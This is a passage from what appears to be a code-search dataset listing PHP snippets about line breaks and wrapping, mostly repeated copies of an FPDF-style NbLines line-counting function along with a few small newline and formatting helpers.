$w=$this->w-$this->rMargin-$this->x;\n $wmax=($w-2*$this->cMargin)*1000/$this->FontSize;\n $s=str_replace(\"\\r\",'',$txt);\n $nb=strlen($s);\n if($nb>0 and $s[$nb-1]==\"\\n\")\n $nb--;\n $sep=-1;\n $i=0;\n $j=0;\n $l=0;\n $nl=1;\n while($i<$nb)\n {\n $c=$s[$i];\n if($c==\"\\n\")\n {\n $i++;\n $sep=-1;\n $j=$i;\n $l=0;\n $nl++;\n continue;\n }\n if($c==' ')\n $sep=$i;\n $l+=$cw[$c];\n if($l>$wmax)\n {\n if($sep==-1)\n {\n if($i==$j)\n $i++;\n }\n else\n $i=$sep+1;\n $sep=-1;\n $j=$i;\n $l=0;\n $nl++;\n }\n else\n $i++;\n }\n return $nl;\n}", "function NbLines($w,$txt)\n{\n $cw=&$this->CurrentFont['cw'];\n if($w==0)\n $w=$this->w-$this->rMargin-$this->x;\n $wmax=($w-2*$this->cMargin)*1000/$this->FontSize;\n $s=str_replace(\"\\r\",'',$txt);\n $nb=strlen($s);\n if($nb>0 and $s[$nb-1]==\"\\n\")\n $nb--;\n $sep=-1;\n $i=0;\n $j=0;\n $l=0;\n $nl=1;\n while($i<$nb)\n {\n $c=$s[$i];\n if($c==\"\\n\")\n {\n $i++;\n $sep=-1;\n $j=$i;\n $l=0;\n $nl++;\n continue;\n }\n if($c==' ')\n $sep=$i;\n $l+=$cw[$c];\n if($l>$wmax)\n {\n if($sep==-1)\n {\n if($i==$j)\n $i++;\n }\n else\n $i=$sep+1;\n $sep=-1;\n $j=$i;\n $l=0;\n $nl++;\n }\n else\n $i++;\n }\n return $nl;\n}", "function NbLines($w,$txt)\n{\n $cw=&$this->CurrentFont['cw'];\n if($w==0)\n $w=$this->w-$this->rMargin-$this->x;\n $wmax=($w-2*$this->cMargin)*1000/$this->FontSize;\n $s=str_replace(\"\\r\",'',$txt);\n $nb=strlen($s);\n if($nb>0 and $s[$nb-1]==\"\\n\")\n $nb--;\n $sep=-1;\n $i=0;\n $j=0;\n $l=0;\n $nl=1;\n while($i<$nb)\n {\n $c=$s[$i];\n if($c==\"\\n\")\n {\n $i++;\n $sep=-1;\n $j=$i;\n $l=0;\n $nl++;\n continue;\n }\n if($c==' ')\n $sep=$i;\n $l+=$cw[$c];\n if($l>$wmax)\n {\n if($sep==-1)\n {\n if($i==$j)\n $i++;\n }\n else\n $i=$sep+1;\n $sep=-1;\n $j=$i;\n $l=0;\n $nl++;\n }\n else\n $i++;\n }\n return $nl;\n}", "function NbLines($w,$txt)\r\n{\r\n $cw=&$this->CurrentFont['cw'];\r\n if($w==0)\r\n $w=$this->w-$this->rMargin-$this->x;\r\n $wmax=($w-2*$this->cMargin)*1000/$this->FontSize;\r\n $s=str_replace(\"\\r\",'',$txt);\r\n $nb=strlen($s);\r\n if($nb>0 and $s[$nb-1]==\"\\n\")\r\n $nb--;\r\n $sep=-1;\r\n $i=0;\r\n $j=0;\r\n $l=0;\r\n $nl=1;\r\n while($i<$nb)\r\n {\r\n $c=$s[$i];\r\n if($c==\"\\n\")\r\n {\r\n $i++;\r\n $sep=-1;\r\n $j=$i;\r\n $l=0;\r\n $nl++;\r\n continue;\r\n }\r\n if($c==' ')\r\n $sep=$i;\r\n $l+=$cw[$c];\r\n if($l>$wmax)\r\n {\r\n if($sep==-1)\r\n {\r\n if($i==$j)\r\n $i++;\r\n }\r\n else\r\n $i=$sep+1;\r\n $sep=-1;\r\n $j=$i;\r\n $l=0;\r\n $nl++;\r\n }\r\n else\r\n $i++;\r\n }\r\n return $nl;\r\n}", "public static function newLineEveryXWords($sentence, $cutEvery)\n {\n // New line every 5 words\n $words = explode(' ', $sentence);\n $numWords = count($words);\n for ($i = 0; $i < $numWords; $i++) {\n $words[$i] = ($i !== 0 && $i%$cutEvery === 0 ? PHP_EOL : '') . $words[$i];\n }\n\n return implode(' ', $words);\n }", "function NbLines($w,$txt)\r\n{\r\n\t$cw=&$this->CurrentFont['cw'];\r\n\tif($w==0)\r\n\t\t$w=$this->w-$this->rMargin-$this->x;\r\n\t$wmax=($w-2*$this->cMargin)*1000/$this->FontSize;\r\n\t$s=str_replace(\"\\r\",'',$txt);\r\n\t$nb=strlen($s);\r\n\tif($nb>0 and $s[$nb-1]==\"\\n\")\r\n\t\t$nb--;\r\n\t$sep=-1;\r\n\t$i=0;\r\n\t$j=0;\r\n\t$l=0;\r\n\t$nl=1;\r\n\twhile($i<$nb)\r\n\t{\r\n\t\t$c=$s[$i];\r\n\t\tif($c==\"\\n\")\r\n\t\t{\r\n\t\t\t$i++;\r\n\t\t\t$sep=-1;\r\n\t\t\t$j=$i;\r\n\t\t\t$l=0;\r\n\t\t\t$nl++;\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tif($c==' ')\r\n\t\t\t$sep=$i;\r\n\t\t$l+=$cw[$c];\r\n\t\tif($l>$wmax)\r\n\t\t{\r\n\t\t\tif($sep==-1)\r\n\t\t\t{\r\n\t\t\t\tif($i==$j)\r\n\t\t\t\t\t$i++;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t\t$i=$sep+1;\r\n\t\t\t$sep=-1;\r\n\t\t\t$j=$i;\r\n\t\t\t$l=0;\r\n\t\t\t$nl++;\r\n\t\t}\r\n\t\telse\r\n\t\t\t$i++;\r\n\t}\r\n\treturn $nl;\r\n}", "function NbLines($w,$txt)\r\n{\r\n\t$cw=&$this->CurrentFont['cw'];\r\n\tif($w==0)\r\n\t\t$w=$this->w-$this->rMargin-$this->x;\r\n\t$wmax=($w-2*$this->cMargin)*1000/$this->FontSize;\r\n\t$s=str_replace(\"\\r\",'',$txt);\r\n\t$nb=strlen($s);\r\n\tif($nb>0 and $s[$nb-1]==\"\\n\")\r\n\t\t$nb--;\r\n\t$sep=-1;\r\n\t$i=0;\r\n\t$j=0;\r\n\t$l=0;\r\n\t$nl=1;\r\n\twhile($i<$nb)\r\n\t{\r\n\t\t$c=$s[$i];\r\n\t\tif($c==\"\\n\")\r\n\t\t{\r\n\t\t\t$i++;\r\n\t\t\t$sep=-1;\r\n\t\t\t$j=$i;\r\n\t\t\t$l=0;\r\n\t\t\t$nl++;\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tif($c==' ')\r\n\t\t\t$sep=$i;\r\n\t\t$l+=$cw[$c];\r\n\t\tif($l>$wmax)\r\n\t\t{\r\n\t\t\tif($sep==-1)\r\n\t\t\t{\r\n\t\t\t\tif($i==$j)\r\n\t\t\t\t\t$i++;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t\t$i=$sep+1;\r\n\t\t\t$sep=-1;\r\n\t\t\t$j=$i;\r\n\t\t\t$l=0;\r\n\t\t\t$nl++;\r\n\t\t}\r\n\t\telse\r\n\t\t\t$i++;\r\n\t}\r\n\treturn $nl;\r\n}", "private function add_line($text = \"\", $should_wordwrap = true)\n {\n $text = $should_wordwrap ? wordwrap($text, $this->printer_width) : $text;\n $this->printer->text($text.\"\\n\");\n }", "public function newline(int $count = 1)\n {\n Assert::greaterThan($count, 0, \"Invalid linebreak count given, expected '>0' recieved '%s'!\");\n\n for ($i=0; $i < $count; $i++) {\n $this->climate->br();\n }\n }", "private function add_line($text = \"\", $should_wordwrap = true)\n {\n $text = $should_wordwrap ? wordwrap($text, $this->printer_width) : $text;\n $this->printer->text($text . \"\\n\");\n }", "public function getLineGap() {}", "public static function normalizeLineBreaks($text) {}", "function NbLinesSplit($w,$txt,$lineno)\n{\n $cw=&$this->CurrentFont['cw'];\n if($w==0)\n $w=$this->w-$this->rMargin-$this->x;\n $wmax=($w-2*$this->cMargin)*1000/$this->FontSize;\n $s=str_replace(\"\\r\",'',$txt);\n $nb=strlen($s);\n if($nb>0 and $s[$nb-1]==\"\\n\")\n $nb--;\n $sep=-1;\n $i=0;\n $j=0;\n $l=0;\n $nl=1;\n $cnt=0;\n while($i<$nb)\n {\n $c=$s[$i];\n $cnt+=1;\n \t\t$a[$cnt]= $nl;\n if($nl==$lineno){\n \t$Stringposition=$i;\n \tbreak;\n }\n if($c==\"\\n\")\n {\n $i++;\n $sep=-1;\n $j=$i;\n $l=0;\n $nl++;\n continue;\n }\n if($c==' ')\n $sep=$i;\n $l+=$cw[$c];\n \t \n if($l>$wmax)\n {\n if($sep==-1)\n {\n if($i==$j)\n $i++;\n }\n else\n $i=$sep+1;\n $sep=-1;\n $j=$i;\n $l=0;\n $nl++;\n \n }\n else{\n $i++;\n \n }\n /* if($nl=='12'){\n \t$Stringposition=$i;\n \tbreak;\n }*/\n }\n return $Stringposition;\n}", "function NbLines($w, $txt) {\n $cw = &$this->CurrentFont['cw'];\n if ($w == 0)\n $w = $this->w - $this->rMargin - $this->x;\n $wmax = ($w - 2 * $this->cMargin) * 1000 / $this->FontSize;\n $s = str_replace(\"\\r\", '', $txt);\n $nb = strlen($s);\n if ($nb > 0 and $s[$nb - 1] == \"\\n\")\n $nb--;\n $sep = -1;\n $i = 0;\n $j = 0;\n $l = 0;\n $nl = 1;\n while ($i < $nb) {\n $c = $s[$i];\n if ($c == \"\\n\") {\n $i++;\n $sep = -1;\n $j = $i;\n $l = 0;\n $nl++;\n continue;\n }\n if ($c == ' ')\n $sep = $i;\n $l += $cw[$c];\n if ($l > $wmax) {\n if ($sep == -1) {\n if ($i == $j)\n $i++;\n } else\n $i = $sep + 1;\n $sep = -1;\n $j = $i;\n $l = 0;\n $nl++;\n } else\n $i++;\n }\n return $nl;\n }", "public function wktGenerateMultilinestring();", "private function makeLines()\n\t{\n\t\t$line = 1;\n\t\t/** @var Token $token */\n\t\tforeach ($this->tokens as $token)\n\t\t{\n\t\t\t$token->line = $line;\n\t\t\tif (preg_match_all(\"/\\\\n/\", $token->text, $m))\n\t\t\t{\n\t\t\t\t$line += count($m[0]);\n\t\t\t}\n\t\t}\n\t}", "function NbLines($w, $txt) {\n $cw = &$this->CurrentFont['cw'];\n if ($w == 0)\n $w = $this->w - $this->rMargin - $this->x;\n $wmax = ($w - 2 * $this->cMargin) * 1000 / $this->FontSize;\n $s = str_replace(\"\\r\", '', $txt);\n $nb = strlen($s);\n if ($nb > 0 and $s[$nb - 1] == \"\\n\")\n $nb--;\n $sep = -1;\n $i = 0;\n $j = 0;\n $l = 0;\n $nl = 1;\n while ($i < $nb) {\n $c = $s[$i];\n if ($c == \"\\n\") {\n $i++;\n $sep = -1;\n $j = $i;\n $l = 0;\n $nl++;\n continue;\n }\n if ($c == ' ')\n $sep = $i;\n $l+=$cw[$c];\n if ($l > $wmax) {\n if ($sep == -1) {\n if ($i == $j)\n $i++;\n } else\n $i = $sep + 1;\n $sep = -1;\n $j = $i;\n $l = 0;\n $nl++;\n } else\n $i++;\n }\n return $nl;\n }", "function NbLines($w, $txt) {\n $cw = &$this->CurrentFont['cw'];\n if ($w == 0)\n $w = $this->w - $this->rMargin - $this->x;\n $wmax = ($w - 2 * $this->cMargin) * 1000 / $this->FontSize;\n $s = str_replace(\"\\r\", '', $txt);\n $nb = strlen($s);\n if ($nb > 0 and $s[$nb - 1] == \"\\n\")\n $nb--;\n $sep = -1;\n $i = 0;\n $j = 0;\n $l = 0;\n $nl = 1;\n while ($i < $nb) {\n $c = $s[$i];\n if ($c == \"\\n\") {\n $i++;\n $sep = -1;\n $j = $i;\n $l = 0;\n $nl++;\n continue;\n }\n if ($c == ' ')\n $sep = $i;\n $l+=$cw[$c];\n if ($l > $wmax) {\n if ($sep == -1) {\n if ($i == $j)\n $i++;\n } else\n $i = $sep + 1;\n $sep = -1;\n $j = $i;\n $l = 0;\n $nl++;\n } else\n $i++;\n }\n return $nl;\n }", "function NbLines($w, $txt) {\n $cw = &$this->CurrentFont['cw'];\n if ($w == 0)\n $w = $this->w - $this->rMargin - $this->x;\n $wmax = ($w - 2 * $this->cMargin) * 1000 / $this->FontSize;\n $s = str_replace(\"\\r\", '', $txt);\n $nb = strlen($s);\n if ($nb > 0 and $s[$nb - 1] == \"\\n\")\n $nb--;\n $sep = -1;\n $i = 0;\n $j = 0;\n $l = 0;\n $nl = 1;\n while ($i < $nb) {\n $c = $s[$i];\n if ($c == \"\\n\") {\n $i++;\n $sep = -1;\n $j = $i;\n $l = 0;\n $nl++;\n continue;\n }\n if ($c == ' ')\n $sep = $i;\n $l+=$cw[$c];\n if ($l > $wmax) {\n if ($sep == -1) {\n if ($i == $j)\n $i++;\n } else\n $i = $sep + 1;\n $sep = -1;\n $j = $i;\n $l = 0;\n $nl++;\n } else\n $i++;\n }\n return $nl;\n }", "function NbLines($w, $txt)\n {\n $cw = &$this->CurrentFont['cw'];\n if ($w == 0)\n $w = $this->w - $this->rMargin - $this->x;\n $wmax = ($w - 2 * $this->cMargin) * 1000 / $this->FontSize;\n $s = str_replace(\"\\r\", '', $txt);\n $nb = strlen($s);\n if ($nb > 0 and $s[$nb - 1] == \"\\n\")\n $nb--;\n $sep = -1;\n $i = 0;\n $j = 0;\n $l = 0;\n $nl = 1;\n while ($i < $nb) {\n $c = $s[$i];\n if ($c == \"\\n\") {\n $i++;\n $sep = -1;\n $j = $i;\n $l = 0;\n $nl++;\n continue;\n }\n if ($c == ' ')\n $sep = $i;\n $l += $cw[$c];\n if ($l > $wmax) {\n if ($sep == -1) {\n if ($i == $j)\n $i++;\n } else\n $i = $sep + 1;\n $sep = -1;\n $j = $i;\n $l = 0;\n $nl++;\n } else\n $i++;\n }\n return $nl;\n }", "function NbLines($w, $txt)\n {\n $cw = &$this->CurrentFont['cw'];\n if ($w == 0)\n $w = $this->w - $this->rMargin - $this->x;\n $wmax = ($w - 2 * $this->cMargin) * 1000 / $this->FontSize;\n $s = str_replace(\"\\r\", '', $txt);\n $nb = strlen($s);\n if ($nb > 0 and $s[$nb - 1] == \"\\n\")\n $nb--;\n $sep = -1;\n $i = 0;\n $j = 0;\n $l = 0;\n $nl = 1;\n while ($i < $nb) {\n $c = $s[$i];\n if ($c == \"\\n\") {\n $i++;\n $sep = -1;\n $j = $i;\n $l = 0;\n $nl++;\n continue;\n }\n if ($c == ' ')\n $sep = $i;\n $l += $cw[$c];\n if ($l > $wmax) {\n if ($sep == -1) {\n if ($i == $j)\n $i++;\n } else\n $i = $sep + 1;\n $sep = -1;\n $j = $i;\n $l = 0;\n $nl++;\n } else\n $i++;\n }\n return $nl;\n }", "public function setLineEndingStyle($lineEndingStyle) {}", "protected function newline(int $count = 1)\n {\n for ($i = 0; $i < $count; $i++) {\n $this->output(PHP_EOL);\n }\n }", "function NbLines($w,$txt)\n{\n\t$cw=&$this->CurrentFont['cw'];\n\tif($w==0)\n\t\t$w=$this->w-$this->rMargin-$this->x;\n\t$wmax=($w-2*$this->cMargin)*1000/$this->FontSize;\n\t$s=str_replace(\"\\r\",'',$txt);\n\t$nb=strlen($s);\n\tif($nb>0 and $s[$nb-1]==\"\\n\")\n\t\t$nb--;\n\t$sep=-1;\n\t$i=0;\n\t$j=0;\n\t$l=0;\n\t$nl=1;\n\twhile($i<$nb)\n\t{\n\t\t$c=$s[$i];\n\t\tif($c==\"\\n\")\n\t\t{\n\t\t\t$i++;\n\t\t\t$sep=-1;\n\t\t\t$j=$i;\n\t\t\t$l=0;\n\t\t\t$nl++;\n\t\t\tcontinue;\n\t\t}\n\t\tif($c==' ')\n\t\t\t$sep=$i;\n\t\t$l+=$cw[$c];\n\t\tif($l>$wmax)\n\t\t{\n\t\t\tif($sep==-1)\n\t\t\t{\n\t\t\t\tif($i==$j)\n\t\t\t\t\t$i++;\n\t\t\t}\n\t\t\telse\n\t\t\t\t$i=$sep+1;\n\t\t\t$sep=-1;\n\t\t\t$j=$i;\n\t\t\t$l=0;\n\t\t\t$nl++;\n\t\t}\n\t\telse\n\t\t\t$i++;\n\t}\n\treturn $nl;\n}", "function NbLines($w,$txt)\n{\n\t$cw=&$this->CurrentFont['cw'];\n\tif($w==0)\n\t\t$w=$this->w-$this->rMargin-$this->x;\n\t$wmax=($w-2*$this->cMargin)*1000/$this->FontSize;\n\t$s=str_replace(\"\\r\",'',$txt);\n\t$nb=strlen($s);\n\tif($nb>0 and $s[$nb-1]==\"\\n\")\n\t\t$nb--;\n\t$sep=-1;\n\t$i=0;\n\t$j=0;\n\t$l=0;\n\t$nl=1;\n\twhile($i<$nb)\n\t{\n\t\t$c=$s[$i];\n\t\tif($c==\"\\n\")\n\t\t{\n\t\t\t$i++;\n\t\t\t$sep=-1;\n\t\t\t$j=$i;\n\t\t\t$l=0;\n\t\t\t$nl++;\n\t\t\tcontinue;\n\t\t}\n\t\tif($c==' ')\n\t\t\t$sep=$i;\n\t\t$l+=$cw[$c];\n\t\tif($l>$wmax)\n\t\t{\n\t\t\tif($sep==-1)\n\t\t\t{\n\t\t\t\tif($i==$j)\n\t\t\t\t\t$i++;\n\t\t\t}\n\t\t\telse\n\t\t\t\t$i=$sep+1;\n\t\t\t$sep=-1;\n\t\t\t$j=$i;\n\t\t\t$l=0;\n\t\t\t$nl++;\n\t\t}\n\t\telse\n\t\t\t$i++;\n\t}\n\treturn $nl;\n}", "function NbLines($w,$txt)\n{\n\t$cw=&$this->CurrentFont['cw'];\n\tif($w==0)\n\t\t$w=$this->w-$this->rMargin-$this->x;\n\t$wmax=($w-2*$this->cMargin)*1000/$this->FontSize;\n\t$s=str_replace(\"\\r\",'',$txt);\n\t$nb=strlen($s);\n\tif($nb>0 and $s[$nb-1]==\"\\n\")\n\t\t$nb--;\n\t$sep=-1;\n\t$i=0;\n\t$j=0;\n\t$l=0;\n\t$nl=1;\n\twhile($i<$nb)\n\t{\n\t\t$c=$s[$i];\n\t\tif($c==\"\\n\")\n\t\t{\n\t\t\t$i++;\n\t\t\t$sep=-1;\n\t\t\t$j=$i;\n\t\t\t$l=0;\n\t\t\t$nl++;\n\t\t\tcontinue;\n\t\t}\n\t\tif($c==' ')\n\t\t\t$sep=$i;\n\t\t$l+=$cw[$c];\n\t\tif($l>$wmax)\n\t\t{\n\t\t\tif($sep==-1)\n\t\t\t{\n\t\t\t\tif($i==$j)\n\t\t\t\t\t$i++;\n\t\t\t}\n\t\t\telse\n\t\t\t\t$i=$sep+1;\n\t\t\t$sep=-1;\n\t\t\t$j=$i;\n\t\t\t$l=0;\n\t\t\t$nl++;\n\t\t}\n\t\telse\n\t\t\t$i++;\n\t}\n\treturn $nl;\n}", "private function terminateLine()\n {\n if ($this->isInline) {\n $this->isInline = false;\n $this->writeToFile('<br>');\n }\n }", "function lineBreaks($str, $lineLength = 80) {\n $lineBreak = '\\n';\n $tempString = $str;\n $returnString = '';\n \n while(strlen($tempString) > 0) {\n $buildString = substr($tempString, 0, $lineLength);\n $buildString .= $lineBreak;\n $returnString .= $buildString;\n \n $tempString = substr($tempString, $lineLength);\n }\n \n return $returnString;\n}", "function lineBreak()\r\n {\r\n // have a $count parameter because of speed issues.\r\n return self::$lineBreak;\r\n }", "function NbLines($w, $txt)\n {\n $cw=&$this->CurrentFont['cw'];\n if($w==0)\n $w=$this->w-$this->rMargin-$this->x;\n $wmax=($w-2*$this->cMargin)*1000/$this->FontSize;\n $s=str_replace(\"\\r\", '', $txt);\n $nb=strlen($s);\n if($nb>0 and $s[$nb-1]==\"\\n\")\n $nb--;\n $sep=-1;\n $i=0;\n $j=0;\n $l=0;\n $nl=1;\n while($i<$nb)\n {\n $c=$s[$i];\n if($c==\"\\n\")\n {\n $i++;\n $sep=-1;\n $j=$i;\n $l=0;\n $nl++;\n continue;\n }\n if($c==' ')\n $sep=$i;\n $l+=$cw[$c];\n if($l>$wmax)\n {\n if($sep==-1)\n {\n if($i==$j)\n $i++;\n }\n else\n $i=$sep+1;\n $sep=-1;\n $j=$i;\n $l=0;\n $nl++;\n }\n else\n $i++;\n }\n return $nl;\n }", "public function horPageBreak($row, $break) {\n\t}", "function NbLines($w,$txt){\n\t\t\t$cw=&$this->CurrentFont['cw'];\n\t\t\tif($w==0)\n\t\t\t\t$w=$this->w-$this->rMargin-$this->x;\n\t\t\t$wmax=($w-2*$this->cMargin)*1000/$this->FontSize;\n\t\t\t$s=str_replace(\"\\r\",'',$txt);\n\t\t\t$nb=strlen($s);\n\t\t\tif($nb>0 and $s[$nb-1]==\"\\n\")\n\t\t\t\t$nb--;\n\t\t\t$sep=-1;\n\t\t\t$i=0;\n\t\t\t$j=0;\n\t\t\t$l=0;\n\t\t\t$nl=1;\n\t\t\twhile($i<$nb)\n\t\t\t{\n\t\t\t\t$c=$s[$i];\n\t\t\t\tif($c==\"\\n\")\n\t\t\t\t{\n\t\t\t\t\t$i++;\n\t\t\t\t\t$sep=-1;\n\t\t\t\t\t$j=$i;\n\t\t\t\t\t$l=0;\n\t\t\t\t\t$nl++;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tif($c==' ')\n\t\t\t\t\t$sep=$i;\n\t\t\t\t$l+=$cw[$c];\n\t\t\t\tif($l>$wmax)\n\t\t\t\t{\n\t\t\t\t\tif($sep==-1)\n\t\t\t\t\t{\n\t\t\t\t\t\tif($i==$j)\n\t\t\t\t\t\t\t$i++;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\t$i=$sep+1;\n\t\t\t\t\t$sep=-1;\n\t\t\t\t\t$j=$i;\n\t\t\t\t\t$l=0;\n\t\t\t\t\t$nl++;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\t$i++;\n\t\t\t}\n\t\t\treturn $nl;\n\t\t}", "public function indentLines($startLine, $endLine);", "function NbLines($w,$txt) {\n\t\t\t$cw=&$this->CurrentFont['cw'];\n\t\t\tif($w==0)\n\t\t\t\t$w=$this->w-$this->rMargin-$this->x;\n\t\t\t$wmax=($w-2*$this->cMargin)*1000/$this->FontSize;\n\t\t\t$s=str_replace(\"\\r\",'',$txt);\n\t\t\t$nb=strlen($s);\n\t\t\tif($nb>0 and $s[$nb-1]==\"\\n\")\n\t\t\t\t$nb--;\n\t\t\t$sep=-1;\n\t\t\t$i=0;\n\t\t\t$j=0;\n\t\t\t$l=0;\n\t\t\t$nl=1;\n\t\t\twhile($i<$nb) {\n\t\t\t\t$c=$s[$i];\n\t\t\t\tif($c==\"\\n\") {\n\t\t\t\t\t$i++;\n\t\t\t\t\t$sep=-1;\n\t\t\t\t\t$j=$i;\n\t\t\t\t\t$l=0;\n\t\t\t\t\t$nl++;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tif($c==' ')\n\t\t\t\t\t$sep=$i;\n\t\t\t\t$l+=$cw[$c];\n\t\t\t\tif($l>$wmax) {\n\t\t\t\t\tif($sep==-1) {\n\t\t\t\t\t\tif($i==$j)\n\t\t\t\t\t\t\t$i++;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\t$i=$sep+1;\n\t\t\t\t\t$sep=-1;\n\t\t\t\t\t$j=$i;\n\t\t\t\t\t$l=0;\n\t\t\t\t\t$nl++;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\t$i++;\n\t\t\t}\n\t\t\treturn $nl;\n\t\t}", "function NbLines($w,$txt){\r\n \t$cw=&$this->CurrentFont['cw'];\r\n \tif($w==0)\r\n \t\t$w=$this->w-$this->rMargin-$this->x;\r\n \t$wmax=($w-2*$this->cMargin)*1000/$this->FontSize;\r\n \t$s=str_replace(\"\\r\",'',$txt);\r\n \t$nb=strlen($s);\r\n \tif($nb>0 and $s[$nb-1]==\"\\n\")\r\n \t\t$nb--;\r\n \t$sep=-1;\r\n \t$i=0;\r\n \t$j=0;\r\n \t$l=0;\r\n \t$nl=1;\r\n \twhile($i<$nb)\r\n \t{\r\n \t\t$c=$s[$i];\r\n \t\tif($c==\"\\n\")\r\n \t\t{\r\n \t\t\t$i++;\r\n \t\t\t$sep=-1;\r\n \t\t\t$j=$i;\r\n \t\t\t$l=0;\r\n \t\t\t$nl++;\r\n \t\t\tcontinue;\r\n \t\t}\r\n \t\tif($c==' ')\r\n \t\t\t$sep=$i;\r\n \t\t$l+=$cw[$c];\r\n \t\tif($l>$wmax)\r\n \t\t{\r\n \t\t\tif($sep==-1)\r\n \t\t\t{\r\n \t\t\t\tif($i==$j)\r\n \t\t\t\t\t$i++;\r\n \t\t\t}\r\n \t\t\telse\r\n \t\t\t\t$i=$sep+1;\r\n \t\t\t$sep=-1;\r\n \t\t\t$j=$i;\r\n \t\t\t$l=0;\r\n \t\t\t$nl++;\r\n \t\t}\r\n \t\telse\r\n \t\t\t$i++;\r\n \t}\r\n \treturn $nl;\r\n }", "function generate_limerick()\r\n\t{\r\n\t\t$first_line = generate_sentence(6);\r\n\t\t$suffix = substr($first_line, strlen($first_line) - 3);\r\n\t\t\r\n\t\t$second_line = replace_sentence(generate_sentence(6), $suffix);\r\n\t\t$fifth_line = replace_sentence(generate_sentence(6), $suffix);\r\n\t\t\r\n\t\t$third_line = generate_sentence(3);\r\n\t\t$suffix = substr($third_line, strlen($third_line) - 3);\r\n\t\t$fourth_line = replace_sentence(generate_sentence(3), $suffix);\r\n\t\t\r\n\t\t\r\n\t\t$output = $first_line . '<br />' . \r\n\t\t\t$second_line . '<br />' .\r\n\t\t\t$third_line . '<br />' .\r\n\t\t\t$fourth_line . '<br />' .\r\n\t\t\t$fifth_line . '<br />';\r\n\t\t\t\r\n\t\treturn $output;\r\n\t}", "function NbLines($w,$txt)\n\t{\n\t $cw=&$this->CurrentFont['cw'];\n\t if($w==0)\n\t $w=$this->w-$this->rMargin-$this->x;\n\t $wmax=($w-2*$this->cMargin)*1000/$this->FontSize;\n\t $s=str_replace(\"\\r\",'',$txt);\n\t $nb=strlen($s);\n\t if($nb>0 and $s[$nb-1]==\"\\n\")\n\t $nb--;\n\t $sep=-1;\n\t $i=0;\n\t $j=0;\n\t $l=0;\n\t $nl=1;\n\t while($i<$nb)\n\t {\n\t $c=$s[$i];\n\t if($c==\"\\n\")\n\t {\n\t $i++;\n\t $sep=-1;\n\t $j=$i;\n\t $l=0;\n\t $nl++;\n\t continue;\n\t }\n\t if($c==' ')\n\t $sep=$i;\n\t $l+=$cw[$c];\n\t if($l>$wmax)\n\t {\n\t if($sep==-1)\n\t {\n\t if($i==$j)\n\t $i++;\n\t }\n\t else\n\t $i=$sep+1;\n\t $sep=-1;\n\t $j=$i;\n\t $l=0;\n\t $nl++;\n\t }\n\t else\n\t $i++;\n\t }\n\t return $nl;\n\t}", "function NbLines($w,$txt)\n\t{\n\t $cw=&$this->CurrentFont['cw'];\n\t if($w==0)\n\t $w=$this->w-$this->rMargin-$this->x;\n\t $wmax=($w-2*$this->cMargin)*1000/$this->FontSize;\n\t $s=str_replace(\"\\r\",'',$txt);\n\t $nb=strlen($s);\n\t if($nb>0 and $s[$nb-1]==\"\\n\")\n\t $nb--;\n\t $sep=-1;\n\t $i=0;\n\t $j=0;\n\t $l=0;\n\t $nl=1;\n\t while($i<$nb)\n\t {\n\t $c=$s[$i];\n\t if($c==\"\\n\")\n\t {\n\t $i++;\n\t $sep=-1;\n\t $j=$i;\n\t $l=0;\n\t $nl++;\n\t continue;\n\t }\n\t if($c==' ')\n\t $sep=$i;\n\t $l+=$cw[$c];\n\t if($l>$wmax)\n\t {\n\t if($sep==-1)\n\t {\n\t if($i==$j)\n\t $i++;\n\t }\n\t else\n\t $i=$sep+1;\n\t $sep=-1;\n\t $j=$i;\n\t $l=0;\n\t $nl++;\n\t }\n\t else\n\t $i++;\n\t }\n\t return $nl;\n\t}", "public function convertlinebreaks($text)\r\n {\r\n return preg_replace(\"#\\015\\012|\\015|\\012#\", \"\\n\", $text);\r\n }", "public function newLinesWritten();", "function NbLines($w,$txt)\n\t{\n\t\t$cw=&$this->CurrentFont['cw'];\n\t\tif($w==0)\n\t\t\t$w=$this->w-$this->rMargin-$this->x;\n\t\t$wmax=($w-2*$this->cMargin)*1000/$this->FontSize;\n\t\t$s=str_replace(\"\\r\",'',$txt);\n\t\t$nb=strlen($s);\n\t\tif($nb>0 and $s[$nb-1]==\"\\n\")\n\t\t\t$nb--;\n\t\t$sep=-1;\n\t\t$i=0;\n\t\t$j=0;\n\t\t$l=0;\n\t\t$nl=1;\n\t\twhile($i<$nb)\n\t\t{\n\t\t\t$c=$s[$i];\n\t\t\tif($c==\"\\n\")\n\t\t\t{\n\t\t\t\t$i++;\n\t\t\t\t$sep=-1;\n\t\t\t\t$j=$i;\n\t\t\t\t$l=0;\n\t\t\t\t$nl++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif($c==' ')\n\t\t\t\t$sep=$i;\n\t\t\t$l+=$cw[$c];\n\t\t\tif($l>$wmax)\n\t\t\t{\n\t\t\t\tif($sep==-1)\n\t\t\t\t{\n\t\t\t\t\tif($i==$j)\n\t\t\t\t\t\t$i++;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\t$i=$sep+1;\n\t\t\t\t$sep=-1;\n\t\t\t\t$j=$i;\n\t\t\t\t$l=0;\n\t\t\t\t$nl++;\n\t\t\t}\n\t\t\telse\n\t\t\t\t$i++;\n\t\t}\n\t\treturn $nl;\n\t}", "function NbLines($w,$txt)\n\t{\n\t\t$cw=&$this->CurrentFont['cw'];\n\t\tif($w==0)\n\t\t\t$w=$this->w-$this->rMargin-$this->x;\n\t\t$wmax=($w-2*$this->cMargin)*1000/$this->FontSize;\n\t\t$s=str_replace(\"\\r\",'',$txt);\n\t\t$nb=strlen($s);\n\t\tif($nb>0 and 